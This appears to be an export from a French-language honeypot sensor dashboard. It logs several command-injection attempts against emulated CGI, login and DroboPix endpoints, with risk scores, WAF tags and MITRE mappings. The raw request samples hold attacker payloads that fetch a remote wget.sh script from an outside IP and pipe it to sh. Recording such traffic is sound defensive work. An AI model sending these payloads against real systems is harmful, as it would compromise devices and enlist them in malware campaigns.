"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 16,
"anomaly_count": 0,
"campaign_key": "00455c6f7bc2820bb56bb7cbc17de6252f33ea54",
"event_fingerprint": "87c9a53db0f4ab5368fc31f2a7644ccc524fddfc",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0340",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"SSRF Localhost SSRF",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0340",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "2509971d31ef6028eeca9d7844483d79",
"path_pattern_hash": "91fcd1c4583f12f0d549686f6919e21b"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/cgi-bin\/ping.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 177\r\nCo",
"method": "POST",
"path": "\/cgi-bin\/ping.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-2",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/ping.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/ping.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 177\r\nConnection: close\r\n\r\nhost=127.0.0.1`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s planet;busybox wget http:\/\/91.92.40.118\/wge",
"payload_snippet": "POST \/cgi-bin\/ping.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 177\r\nCo",
"evidence": {
"method": "POST",
"path": "\/cgi-bin\/ping.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-2",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/ping.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/ping.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 177\r\nConnection: close\r\n\r\nhost=127.0.0.1`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s planet;busybox wget http:\/\/91.92.40.118\/wge",
"payload_snippet": "POST \/cgi-bin\/ping.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 177\r\nCo",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d7437a356bcff62e90f512918c660f2f45ff303f",
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/ping.cgi",
"request_line": "POST \/cgi-bin\/ping.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/cgi-bin\/ping.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 177\r\nCo",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/ping.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/ping.cgi",
"request_line": "POST \/cgi-bin\/ping.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/ping.cgi",
"evidence_snippet": "POST \/cgi-bin\/ping.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 177\r\nCo",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950403:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"http_ssrf_body",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 03:13:04 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /login.php
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /login.php
Émulateur
HTTP
WAF
41
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/login.php
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/login.php
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /login.php HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /login.php HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
Connectio
Requête brute (extrait)
POST /login.php HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 187 Connection: close password=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s sound4;busybox wget http://91.92.40.118/wget.sh -O-|sh
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "php",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "1e9c613aa9672f114224606bf48294d716b4e1be",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 327,
"payload_entropy": 5.19681955909562,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 13,
"anomaly_count": 0,
"campaign_key": "1d1b6287287351168e3c560825cb99bf6fec550d",
"event_fingerprint": "7df0cc689ae9b7312bc489f9cd906069074482a1",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "7edd6292d3c84f7669fbf23de136778f",
"path_pattern_hash": "c7581f0b69dd8802a97b9178d856a40a"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/login.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 187\r\nConnectio",
"method": "POST",
"path": "\/login.php",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/login.php HTTP\/1.1",
"request_sample": "POST \/login.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 187\r\nConnection: close\r\n\r\npassword=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s sound4;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh ",
"payload_snippet": "POST \/login.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 187\r\nConnectio",
"evidence": {
"method": "POST",
"path": "\/login.php",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/login.php HTTP\/1.1",
"request_sample": "POST \/login.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 187\r\nConnection: close\r\n\r\npassword=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s sound4;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh ",
"payload_snippet": "POST \/login.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 187\r\nConnectio",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a61f34576b49b64149ea8bf284124782f9aa591f",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login.php",
"request_line": "POST \/login.php HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 187\r\nConnectio",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/login.php",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/login.php",
"request_line": "POST \/login.php HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/login.php",
"evidence_snippet": "POST \/login.php HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 187\r\nConnectio",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_credential_body",
"http_jwt_body",
"http_no_ua",
"http_probe_login",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 03:13:03 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /DroboPix/api/drobopix/demo
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /DroboPix/api/drobopix/demo
Émulateur
HTTP
WAF
47
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/DroboPix/api/drobopix/demo
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/DroboPix/api/drobopix/demo
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /DroboPix/api/drobopix/demo HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /DroboPix/api/drobopix/demo HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/json
Content-Length: 174
Connectio
Requête brute (extrait)
POST /DroboPix/api/drobopix/demo HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/json Content-Length: 174 Connection: close {"payload":"`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s drobo;busybox wget http://91.92.40.118/wget.sh -O-|s
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 4,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "dbb54fa79021ed693c71429b5abd00abeb62b9e8",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 314,
"payload_entropy": 5.237983018290692,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 13,
"anomaly_count": 0,
"campaign_key": "07b0f83e2e4ee99ef09a434b10843a857aaba9de",
"event_fingerprint": "7c7365350d6e66e53500171331fdb034e85c7815",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "8f8e0df015f23f23497ada1f55bf95e3",
"path_pattern_hash": "cb3a1bb2c38f8b87e3be05ba872df4aa"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 174\r\nConnectio",
"method": "POST",
"path": "\/DroboPix\/api\/drobopix\/demo",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1",
"request_sample": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 174\r\nConnection: close\r\n\r\n{\"payload\":\"`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s drobo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"payload_snippet": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 174\r\nConnectio",
"evidence": {
"method": "POST",
"path": "\/DroboPix\/api\/drobopix\/demo",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1",
"request_sample": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 174\r\nConnection: close\r\n\r\n{\"payload\":\"`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s drobo;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"payload_snippet": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 174\r\nConnectio",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0f4ec21083c3c83e26c1d44ac69e065eca73b0ed",
"protocol_details": {
"http_method": "POST",
"http_path": "\/DroboPix\/api\/drobopix\/demo",
"request_line": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/DroboPix\/api\/drobopix\/demo HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 174\r\nConnectio",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/DroboPix\/api\/drobopix\/demo",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
